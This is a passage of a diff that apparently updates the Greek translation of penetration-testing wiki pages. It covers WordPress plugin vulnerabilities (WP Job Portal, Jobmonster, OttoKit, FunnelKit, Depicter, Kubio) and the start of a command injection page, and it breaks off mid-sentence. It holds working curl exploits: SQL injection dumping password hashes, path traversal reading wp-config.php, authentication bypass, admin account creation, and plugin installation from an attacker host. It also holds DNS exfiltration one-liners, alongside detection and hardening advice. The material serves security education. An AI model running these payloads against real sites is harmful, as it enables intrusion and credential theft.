3. **Προσβασιμότητα χωρίς ταυτοποίηση** – παρόλο που η ενέργεια εκτελείται μέσω `admin-post.php`, ο μόνος έλεγχος που υπάρχει είναι ένα **CSRF nonce** (`wp_verify_nonce()`), το οποίο οποιοσδήποτε επισκέπτης μπορεί να ανακτήσει από μια δημόσια σελίδα που ενσωματώνει το shortcode `[wpjobportal_my_resumes]`.
|
||||
|
||||
#### Εκμετάλλευση
|
||||
|
||||
@ -620,7 +620,7 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
```bash
|
||||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||||
```
|
||||
2. Κατάχρηση του `parentid` για εισαγωγή αυθαίρετου SQL:
|
||||
2. Εισήγαγε αυθαίρετο SQL εκμεταλλευόμενος το `parentid`:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'task=savecategory' \
|
||||
@ -628,18 +628,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
Η απάντηση αποκαλύπτει το αποτέλεσμα του εγχεόμενου query ή αλλάζει τη βάση δεδομένων, αποδεικνύοντας SQLi.
|
||||
Η απόκριση αποκαλύπτει το αποτέλεσμα του εισαγόμενου query ή τροποποιεί τη βάση δεδομένων, αποδεικνύοντας SQLi.
|
||||
|
||||
|
||||
### Μη πιστοποιημένη Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
||||
### Μη-εξουσιοδοτημένο Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
||||
|
||||
Άλλη λειτουργία, **downloadcustomfile**, επέτρεπε στους επισκέπτες να κατεβάσουν **οποιοδήποτε αρχείο στο δίσκο** μέσω path traversal. Ο ευάλωτος sink βρίσκεται στο `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
Μια ακόμα εργασία, **downloadcustomfile**, επέτρεπε σε επισκέπτες να κατεβάσουν **οποιοδήποτε αρχείο στον δίσκο** μέσω path traversal. Το ευάλωτο sink βρίσκεται στο `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` είναι attacker-controlled και συγχωνεύεται **without sanitisation**. Ξανά, το μόνο εμπόδιο είναι ένα **CSRF nonce** που μπορεί να ανακτηθεί από τη σελίδα βιογραφικού.
|
||||
`$file_name` ελέγχεται από attacker και συνενώνεται χωρίς καθαρισμό. Ξανά, το μόνο εμπόδιο είναι ένα **CSRF nonce** που μπορεί να ανακτηθεί από τη σελίδα resume.
|
||||
|
||||
#### Εκμετάλλευση
|
||||
```bash
|
||||
@ -650,11 +650,11 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'entity_id=1' \
|
||||
--data-urlencode 'file_name=../../../wp-config.php'
|
||||
```
|
||||
Ο διακομιστής αποκρίνεται με τα περιεχόμενα του `wp-config.php`, leaking DB credentials and auth keys.
|
||||
Ο διακομιστής απαντά με τα περιεχόμενα του `wp-config.php`, leaking DB credentials and auth keys.
|
||||
|
||||
## Ανώνυμη ανάληψη λογαριασμού μέσω Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
|
||||
## Αναλήψη λογαριασμού χωρίς πιστοποίηση μέσω Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
|
||||
|
||||
Πολλά themes/plugins παρέχουν "social login" helpers εκτεθειμένους μέσω admin-ajax.php. Αν μια μη-επαληθευμένη AJAX ενέργεια (wp_ajax_nopriv_...) εμπιστεύεται client-supplied identifiers όταν τα δεδομένα του provider λείπουν και στη συνέχεια καλεί wp_set_auth_cookie(), αυτό μετατρέπεται σε πλήρη authentication bypass.
|
||||
Πολλά themes/plugins περιλαμβάνουν "social login" βοηθήματα που εκτίθενται μέσω admin-ajax.php. Εάν μια μη-πιστοποιημένη AJAX ενέργεια (wp_ajax_nopriv_...) εμπιστεύεται τα identifiers που παρέχονται από τον client όταν λείπουν τα δεδομένα του provider και στη συνέχεια καλεί wp_set_auth_cookie(), αυτό γίνεται πλήρης παράκαμψη αυθεντικοποίησης.
|
||||
|
||||
Τυπικό ελαττωματικό μοτίβο (απλοποιημένο)
|
||||
```php
|
||||
@ -687,15 +687,15 @@ wp_send_json(['status' => 'not_user']);
|
||||
```
|
||||
Γιατί είναι εκμεταλλεύσιμο
|
||||
|
||||
- Προσβάσιμο χωρίς έλεγχο ταυτότητας μέσω admin-ajax.php (wp_ajax_nopriv_… action).
|
||||
- Πρόσβαση χωρίς αυθεντικοποίηση μέσω admin-ajax.php (ενέργεια wp_ajax_nopriv_…).
|
||||
- Δεν υπάρχουν έλεγχοι nonce/capability πριν από αλλαγή κατάστασης.
|
||||
- Έλλειψη επαλήθευσης OAuth/OpenID provider· το default branch αποδέχεται είσοδο του επιτιθέμενου.
|
||||
- get_user_by('email', $_POST['id']) ακολουθούμενο από wp_set_auth_cookie($uid) αυθεντικοποιεί τον αιτούντα ως οποιαδήποτε υπάρχουσα διεύθυνση email.
|
||||
- Λείπει η επαλήθευση του OAuth/OpenID provider· το προεπιλεγμένο branch δέχεται είσοδο από τον επιτιθέμενο.
|
||||
- get_user_by('email', $_POST['id']) ακολουθούμενη από wp_set_auth_cookie($uid) αυθεντικοποιεί τον αιτούντα ως οποιαδήποτε υπάρχουσα διεύθυνση email.
|
||||
|
||||
Εκμετάλλευση (χωρίς πιστοποίηση)
|
||||
Εκμετάλλευση (χωρίς αυθεντικοποίηση)
|
||||
|
||||
- Προαπαιτούμενα: ο επιτιθέμενος μπορεί να προσπελάσει /wp-admin/admin-ajax.php και γνωρίζει/μαντεύει μια έγκυρη διεύθυνση email χρήστη.
|
||||
- Ορίστε τον provider σε μια μη υποστηριζόμενη τιμή (ή παραλείψτε τον) για να ενεργοποιηθεί το default branch και να περάσετε id=<victim_email>.
|
||||
- Προαπαιτούμενα: ο επιτιθέμενος μπορεί να προσεγγίσει /wp-admin/admin-ajax.php και γνωρίζει/μαντεύει ένα έγκυρο email χρήστη.
|
||||
- Ορίστε provider σε μια μη-υποστηριζόμενη τιμή (ή παραλείψτε το) για να φτάσετε στο προεπιλεγμένο branch και να περάσετε id=<victim_email>.
|
||||
```http
|
||||
POST /wp-admin/admin-ajax.php HTTP/1.1
|
||||
Host: victim.tld
|
||||
@ -708,35 +708,35 @@ action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
|
||||
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
|
||||
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
|
||||
```
|
||||
Αναμενόμενοι δείκτες επιτυχίας
|
||||
Expected success indicators
|
||||
|
||||
- HTTP 200 με JSON σώμα όπως {"status":"success","message":"Login successfully."}.
|
||||
- Set-Cookie: wordpress_logged_in_* για τον χρήστη-θύμα· οι επακόλουθες αιτήσεις είναι αυθεντικοποιημένες.
|
||||
- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
|
||||
- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.
|
||||
|
||||
Εύρεση του ονόματος της ενέργειας
|
||||
Finding the action name
|
||||
|
||||
- Ελέγξτε το theme/plugin για καταχωρίσεις add_action('wp_ajax_nopriv_...', '...') στον κώδικα social login (π.χ., framework/add-ons/social-login/class-social-login.php).
|
||||
- Χρησιμοποιήστε grep για wp_set_auth_cookie(), get_user_by('email', ...) μέσα σε χειριστές AJAX.
|
||||
- Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
|
||||
- Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers.
|
||||
|
||||
Λίστα ελέγχου ανίχνευσης
|
||||
Detection checklist
|
||||
|
||||
- Web logs που δείχνουν μη-αυθεντικοποιημένα POSTs προς /wp-admin/admin-ajax.php με το action social-login και id=<email>.
|
||||
- Απαντήσεις 200 με το success JSON αμέσως πριν από αυθεντικοποιημένη κίνηση από την ίδια IP/User-Agent.
|
||||
- Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=<email>.
|
||||
- 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent.
|
||||
|
||||
Σκληροποίηση
|
||||
Hardening
|
||||
|
||||
- Μην προκύπτει η ταυτότητα από είσοδο του client. Αποδεχτείτε μόνο emails/IDs που προέρχονται από επικυρωμένο provider token/ID.
|
||||
- Απαιτήστε CSRF nonces και ελέγχους δυνατοτήτων (capability checks) ακόμη και για login helpers· αποφύγετε την εγγραφή wp_ajax_nopriv_ εκτός αν είναι απολύτως αναγκαίο.
|
||||
- Επικυρώστε και επαληθεύστε server-side τις απαντήσεις OAuth/OIDC· απορρίψτε απουσία/μη έγκυρους providers (μην κάνετε fallback σε POST id).
|
||||
- Σκεφτείτε προσωρινή απενεργοποίηση του social login ή virtual patching στο edge (block the vulnerable action) μέχρι να διορθωθεί.
|
||||
- Do not derive identity from client input. Only accept emails/IDs originating from a validated provider token/ID.
|
||||
- Require CSRF nonces and capability checks even for login helpers; avoid registering wp_ajax_nopriv_ unless strictly necessary.
|
||||
- Validate and verify OAuth/OIDC responses server-side; reject missing/invalid providers (no fallback to POST id).
|
||||
- Consider temporarily disabling social login or virtually patching at the edge (block the vulnerable action) until fixed.
|
||||
|
||||
Patched behaviour (Jobmonster 4.8.0)
|
||||
|
||||
- Αφαιρέθηκε το μη ασφαλές fallback από $_POST['id']; $user_email πρέπει να προέρχεται από verified provider branches στο switch($_POST['using']).
|
||||
- Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).
|
||||
|
||||
## Μη αυθεντικοποιημένη κλιμάκωση προνομίων μέσω REST token/key minting σε προβλέψιμη ταυτότητα (OttoKit/SureTriggers ≤ 1.0.82)
|
||||
## Αναβάθμιση προνομίων χωρίς αυθεντικοποίηση μέσω δημιουργίας REST token/κλειδιού πάνω σε προβλέψιμη ταυτότητα (OttoKit/SureTriggers ≤ 1.0.82)
|
||||
|
||||
Ορισμένα plugins εκθέτουν REST endpoints που δημιουργούν επαναχρησιμοποιήσιμα “connection keys” ή tokens χωρίς να επαληθεύουν τις δυνατότητες (capabilities) του καλούντος. Αν η διαδρομή (route) αυθεντικοποιεί μόνο με ένα προβλέψιμο χαρακτηριστικό (π.χ., username) και δεν δένει το key σε χρήστη/σέσσιο με ελέγχους δυνατοτήτων, οποιοσδήποτε μη-αυθεντικοποιημένος επιτιθέμενος μπορεί να δημιουργήσει ένα key και να καλέσει προνομιούχες ενέργειες (δημιουργία admin account, plugin actions → RCE).
|
||||
Κάποια plugins εκθέτουν REST endpoints που δημιουργούν επαναχρησιμοποιήσιμα “connection keys” ή tokens χωρίς να επαληθεύουν τις δυνατότητες (capabilities) του καλούντος. Εάν το route πραγματοποιεί authentication μόνο βάσει ενός προβλέψιμου/μπορούμενου να μαντέψουμε χαρακτηριστικού (π.χ. username) και δεν δεσμεύει το κλειδί σε user/session με έλεγχο δικαιωμάτων, οποιοσδήποτε μη-αυθεντικοποιημένος επιτιθέμενος μπορεί να δημιουργήσει ένα κλειδί και να καλέσει προνομιούχες ενέργειες (π.χ. δημιουργία admin account, plugin actions → RCE).
|
||||
|
||||
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
|
||||
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
|
||||
@ -756,54 +756,54 @@ curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
|
||||
-H 'X-Connection-Key: <conn_key>' \
|
||||
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
|
||||
```
|
||||
Γιατί είναι εκμεταλλεύσιμο
|
||||
- Ευαίσθητη REST route προστατευμένη μόνο από απόδειξη ταυτότητας χαμηλής εντροπίας (username) ή χωρίς permission_callback
|
||||
- Καμία επιβολή capability; το minted key γίνεται αποδεκτό ως καθολική παράκαμψη
|
||||
Why it’s exploitable
|
||||
- Ευαίσθητο REST route προστατευμένο μόνο από low-entropy απόδειξη ταυτότητας (username) ή με έλλειψη permission_callback
|
||||
- Δεν υπάρχει επιβολή capability; το minted key γίνεται αποδεκτό ως καθολική παράκαμψη
|
||||
|
||||
Λίστα ελέγχου εντοπισμού
|
||||
- Ψάξτε στον κώδικα του plugin για register_rest_route(..., [ 'permission_callback' => '__return_true' ])
|
||||
- Οποιαδήποτε route που εκδίδει tokens/keys βάσει ταυτότητας που παρέχεται στο request (username/email) χωρίς να τη συνδέει με επικυρωμένο χρήστη ή capability
|
||||
- Αναζητήστε μετέπειτα routes που αποδέχονται το minted token/key χωρίς ελέγχους capability στην πλευρά του server
|
||||
Detection checklist
|
||||
- Κάντε grep στον κώδικα του plugin για register_rest_route(..., [ 'permission_callback' => '__return_true' ])
|
||||
- Οποιοδήποτε route που εκδίδει tokens/keys με βάση identity που παρέχεται στο request (username/email) χωρίς σύνδεση με authenticated user ή capability
|
||||
- Αναζητήστε μετέπειτα routes που αποδέχονται το minted token/key χωρίς server-side ελέγχους capability
|
||||
|
||||
Σκληρυνση
|
||||
- Για κάθε privileged REST route: απαιτήστε permission_callback που επιβάλλει current_user_can() για την απαιτούμενη capability
|
||||
- Μην εκδίδετε long-lived keys από ταυτότητα που παρέχει ο client; αν χρειάζεται, εκδώστε short-lived, user-bound tokens μετά από authentication και επανελέγχετε τις capabilities κατά τη χρήση
|
||||
- Επικυρώστε το user context του καλούντος (wp_set_current_user είναι από μόνο του ανεπαρκές) και απορρίψτε αιτήματα όπου !is_user_logged_in() || !current_user_can(<cap>)
|
||||
Hardening
|
||||
- Για οποιοδήποτε privileged REST route: απαιτήστε permission_callback που επιβάλει current_user_can() για την απαιτούμενη capability
|
||||
- Μην εκδίδετε long-lived keys από client-supplied identity; αν χρειάζεται, εκδώστε short-lived, user-bound tokens μετά από authentication και ελέγξτε ξανά τις capabilities κατά τη χρήση
|
||||
- Επικυρώστε το user context του καλούντα (wp_set_current_user is not sufficient alone) και απορρίψτε requests όπου !is_user_logged_in() || !current_user_can(<cap>)
|
||||
|
||||
---
|
||||
|
||||
## Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3)
|
||||
|
||||
Τα Nonces αποτρέπουν CSRF, όχι την εξουσιοδότηση. Αν ο κώδικας θεωρεί την επιβεβαίωση ενός nonce ως πράσινο φως και παρακάμπτει τους ελέγχους capability για προνομιούχες ενέργειες (π.χ. install/activate plugins), μη αυθεντικοποιημένοι επιτιθέμενοι μπορούν να ικανοποιήσουν μια αδύναμη απαίτηση nonce και να φτάσουν σε RCE εγκαθιστώντας ένα backdoored ή ευάλωτο plugin.
|
||||
Nonce αποτρέπουν CSRF, όχι authorization. Εάν ο κώδικας χειρίζεται το πέρασμα ενός nonce ως πράσινο φως και στη συνέχεια παραλείπει τους ελέγχους capability για privileged operations (π.χ., install/activate plugins), μη-επαληθευμένοι επιτιθέμενοι μπορούν να ικανοποιήσουν μια αδύναμη απαίτηση nonce και να φτάσουν σε RCE εγκαθιστώντας ένα backdoored ή ευάλωτο plugin.
|
||||
|
||||
- Ευάλωτο μονοπάτι: plugin/install_and_activate
|
||||
- Σφάλμα: ασθενής έλεγχος nonce hash; δεν υπάρχει current_user_can('install_plugins'|'activate_plugins') μόλις το nonce “περάσει”
|
||||
- Επίπτωση: πλήρης παραβίαση μέσω αυθαίρετης εγκατάστασης/ενεργοποίησης plugin
|
||||
- Vulnerable path: plugin/install_and_activate
|
||||
- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
|
||||
- Impact: full compromise via arbitrary plugin install/activation
|
||||
|
||||
PoC (το σχήμα εξαρτάται από το plugin; ενδεικτικό μόνο)
|
||||
PoC (shape depends on plugin; illustrative only)
|
||||
```bash
|
||||
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
|
||||
-H 'Content-Type: application/json' \
|
||||
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
|
||||
```
|
||||
Detection checklist
|
||||
- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
|
||||
- Any code path that sets $skip_caps = true after nonce validation
|
||||
- REST/AJAX handlers που τροποποιούν plugins/themes και χρησιμοποιούν μόνο wp_verify_nonce()/check_admin_referer() χωρίς capability check
|
||||
- Οποιοδήποτε code path που θέτει $skip_caps = true μετά από nonce validation
|
||||
|
||||
Hardening
|
||||
- Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state
|
||||
- Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code
|
||||
- Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows
|
||||
- Πάντα θεωρείτε τα nonces μόνο ως CSRF tokens· επιβάλλετε capability checks ανεξαρτήτως της κατάστασης του nonce
|
||||
- Απαιτήστε current_user_can('install_plugins') και current_user_can('activate_plugins') πριν από τον installer code
|
||||
- Απορρίψτε μη αυθεντικοποιημένη πρόσβαση· αποφύγετε την έκθεση nopriv AJAX actions για privileged flows
|
||||
|
||||
---
|
||||
|
||||
## SQLi χωρίς αυθεντικοποίηση μέσω της παραμέτρου s (search) σε depicter-* actions (Depicter Slider ≤ 3.6.1)
|
||||
## Μη αυθεντικοποιημένο SQLi μέσω της παραμέτρου s (search) στις depicter-* actions (Depicter Slider ≤ 3.6.1)
|
||||
|
||||
Πολλές depicter-* actions κατανάλωσαν την παράμετρο s (search) και τη συνέδεσαν σε ερωτήματα SQL χωρίς παραμετροποίηση.
|
||||
Πολλές depicter-* actions κατανάλωσαν την παράμετρο s (search) και τη συνέδεσαν σε SQL queries χωρίς παραμετροποίηση.
|
||||
|
||||
- Παράμετρος: s (search)
|
||||
- Ελάττωμα: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization
|
||||
- Επίπτωση: database exfiltration (users, hashes), lateral movement
|
||||
- Parameter: s (search)
|
||||
- Flaw: άμεση σύνδεση συμβολοσειρών σε WHERE/LIKE clauses; δεν χρησιμοποιήθηκαν prepared statements ή sanitization
|
||||
- Impact: database exfiltration (users, hashes), lateral movement
|
||||
|
||||
PoC
|
||||
```bash
|
||||
@ -813,49 +813,49 @@ curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
|
||||
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
|
||||
```
|
||||
Detection checklist
|
||||
- Ψάξτε με grep για depicter-* action handlers και για την άμεση χρήση των $_GET['s'] ή $_POST['s'] σε SQL
|
||||
- Ελέγξτε custom queries που δίνονται στο $wpdb->get_results()/query() όταν γίνεται concatenation με s
|
||||
- Ψάξτε με grep για depicter-* action handlers και για απευθείας χρήση του $_GET['s'] ή του $_POST['s'] στο SQL
|
||||
- Ελέγξτε τα custom queries που περνιούνται στο $wpdb->get_results()/query() όπου γίνεται concatenation με το s
|
||||
|
||||
Hardening
|
||||
- Χρησιμοποιείτε πάντα $wpdb->prepare() ή wpdb placeholders· απορρίψτε μη αναμενόμενους μεταχαρακτήρες στην πλευρά του server
|
||||
- Προσθέστε αυστηρή allowlist για το s και κανονικοποιήστε στο αναμενόμενο charset/μήκος
|
||||
- Χρησιμοποιείτε πάντα $wpdb->prepare() ή wpdb placeholders· απορρίπτετε μη αναμενόμενους metacharacters στο server-side
|
||||
- Προσθέστε αυστηρή allowlist για το s και κανονικοποιήστε στο αναμενόμενο charset/length
|
||||
|
||||
---
|
||||
|
||||
## Unauthenticated Local File Inclusion μέσω μη-επαληθευμένου template/file path (Kubio AI Page Builder ≤ 2.5.1)
|
||||
## Unauthenticated Local File Inclusion μέσω μη-επικυρωμένης διαδρομής template/file (Kubio AI Page Builder ≤ 2.5.1)
|
||||
|
||||
Η αποδοχή paths ελεγχόμενων από attacker σε παράμετρο template χωρίς κανονικοποίηση/περιορισμό επιτρέπει την ανάγνωση αυθαίρετων τοπικών αρχείων, και μερικές φορές εκτέλεση κώδικα αν includable PHP/log αρχεία φορτωθούν στο runtime.
|
||||
Η αποδοχή attacker-controlled διαδρομών σε ένα template parameter χωρίς normalization/containment επιτρέπει την ανάγνωση αυθαίρετων τοπικών αρχείων, και μερικές φορές εκτέλεση κώδικα αν includable PHP/log αρχεία φορτωθούν στη runtime.
|
||||
|
||||
- Parameter: __kubio-site-edit-iframe-classic-template
|
||||
- Flaw: no normalization/allowlisting; traversal permitted
|
||||
- Impact: αποκάλυψη μυστικών (wp-config.php), πιθανό RCE σε συγκεκριμένα περιβάλλοντα (log poisoning, includable PHP)
|
||||
- Flaw: χωρίς normalization/allowlisting; επιτρέπεται traversal
|
||||
- Impact: αποκάλυψη secret (wp-config.php), πιθανό RCE σε συγκεκριμένα περιβάλλοντα (log poisoning, includable PHP)
|
||||
|
||||
PoC – ανάγνωση wp-config.php
|
||||
```bash
|
||||
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
|
||||
```
|
||||
Λίστα ελέγχου ανίχνευσης
|
||||
- Οποιοσδήποτε handler που συνενώνει request paths σε include()/require()/read sinks χωρίς περιορισμό μέσω realpath()
|
||||
- Αναζητήστε μοτίβα traversal (../) που φτάνουν έξω από τον προοριζόμενο φάκελο templates
|
||||
Detection checklist
|
||||
- Any handler concatenating request paths into include()/require()/read sinks without realpath() containment
|
||||
- Look for traversal patterns (../) reaching outside the intended templates directory
|
||||
|
||||
Σκληροποίηση
|
||||
- Επιβάλετε allowlisted templates; επιλύστε με realpath() και απαιτήστε str_starts_with(realpath(file), realpath(allowed_base))
|
||||
- Κανονικοποιήστε τα εισερχόμενα· απορρίψτε ακολουθίες traversal και απόλυτες διαδρομές· χρησιμοποιήστε sanitize_file_name() μόνο για ονόματα αρχείων (όχι για πλήρεις διαδρομές)
|
||||
Hardening
|
||||
- Enforce allowlisted templates; resolve with realpath() and require str_starts_with(realpath(file), realpath(allowed_base))
|
||||
- Normalize input; reject traversal sequences and absolute paths; use sanitize_file_name() only for filenames (not full paths)
|
||||
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||
- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
|
||||
- [Πολλαπλές κρίσιμες ευπάθειες επιδιορθώθηκαν στο WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||
- [Σπάνια περίπτωση Privilege Escalation στο ASE Plugin που επηρέασε 100k+ sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
|
||||
- [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
|
||||
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
|
||||
- [Έλεγχος ασφάλειας hosting: 87.8% των vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
|
||||
- [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
|
||||
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
|
||||
- [Hackers εκμεταλλεύονται κρίσιμο WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
|
||||
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
|
||||
- [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
|
||||
- [Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme](https://patchstack.com/articles/unauthenticated-broken-authentication-vulnerability-in-wordpress-jobmonster-theme/)
|
||||
- [Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them](https://patchstack.com/articles/q3-2025s-most-exploited-wordpress-vulnerabilities-and-how-patchstacks-rapidmitigate-blocked-them/)
|
||||
- [Οι πιο εκμεταλλευμένες ευπάθειες WordPress του Q3 2025 και πώς το RapidMitigate τις μπλόκαρε](https://patchstack.com/articles/q3-2025s-most-exploited-wordpress-vulnerabilities-and-how-patchstacks-rapidmitigate-blocked-them/)
|
||||
- [OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerability/wordpress-suretriggers-1-0-82-privilege-escalation-vulnerability)
|
||||
- [FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/wp-marketing-automations/vulnerability/wordpress-recover-woocommerce-cart-abandonment-newsletter-email-marketing-marketing-automation-by-funnelkit-plugin-3-5-3-missing-authorization-to-unauthenticated-arbitrary-plugin-installation-vulnerability)
|
||||
- [Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/depicter/vulnerability/wordpress-depicter-slider-plugin-3-6-1-unauthenticated-sql-injection-via-s-parameter-vulnerability)
|
||||
|
@ -8,7 +8,7 @@
|
||||
|
||||
### Πλαίσιο
|
||||
|
||||
Ανάλογα με το **πού εγχέεται το input σας** μπορεί να χρειαστεί να **τερματίσετε το quoted context** (χρησιμοποιώντας `"` ή `'`) πριν τις εντολές.
|
||||
Ανάλογα με **πού εισάγεται το input σας** μπορεί να χρειαστεί να **τερματίσετε το πλαίσιο που περικλείεται σε εισαγωγικά** (χρησιμοποιώντας `"` ή `'`) πριν από τις εντολές.
|
||||
|
||||
## Command Injection/Execution
|
||||
```bash
|
||||
@ -32,7 +32,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
||||
```
|
||||
### **Limition** Bypasses
|
||||
|
||||
Αν προσπαθείτε να εκτελέσετε **arbitrary commands inside a linux machine** θα σας ενδιαφέρει να διαβάσετε για αυτά τα **Bypasses:**
|
||||
Αν προσπαθείτε να εκτελέσετε **arbitrary commands inside a linux machine** θα σας ενδιαφέρει να διαβάσετε για αυτές τις **Bypasses:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -91,7 +91,7 @@ sys 0m0.000s
|
||||
```
|
||||
### DNS based data exfiltration
|
||||
|
||||
Βασισμένο στο εργαλείο από `https://github.com/HoLyVieR/dnsbin` που φιλοξενείται επίσης στο dnsbin.zhack.ca
|
||||
Βασισμένο στο εργαλείο από `https://github.com/HoLyVieR/dnsbin` που επίσης φιλοξενείται στο dnsbin.zhack.ca
|
||||
```
|
||||
1. Go to http://dnsbin.zhack.ca/
|
||||
2. Execute a simple 'ls'
|
||||
@ -101,7 +101,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
|
||||
```
|
||||
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
|
||||
```
|
||||
Online εργαλεία για να ελέγξετε για DNS based data exfiltration:
|
||||
Διαδικτυακά εργαλεία για να ελέγξετε για DNS based data exfiltration:
|
||||
|
||||
- dnsbin.zhack.ca
|
||||
- pingb.in
|
||||
@ -122,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad
|
||||
|
||||
### Node.js `child_process.exec` vs `execFile`
|
||||
|
||||
Κατά τον έλεγχο backend εφαρμογών σε JavaScript/TypeScript, συχνά θα συναντήσετε το Node.js `child_process` API.
|
||||
Κατά τον έλεγχο εφαρμογών back-end σε JavaScript/TypeScript, συχνά θα συναντήσετε το Node.js `child_process` API.
|
||||
```javascript
|
||||
// Vulnerable: user-controlled variables interpolated inside a template string
|
||||
const { exec } = require('child_process');
|
||||
@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
|
||||
/* … */
|
||||
});
|
||||
```
|
||||
`exec()` εκκινεί ένα **shell** (`/bin/sh -c`), επομένως οποιοσδήποτε χαρακτήρας που έχει ειδικό νόημα για το shell (back-ticks, `;`, `&&`, `|`, `$()`, …) θα οδηγήσει σε **command injection** όταν η είσοδος του χρήστη συγχωνεύεται σε μια συμβολοσειρά.
|
||||
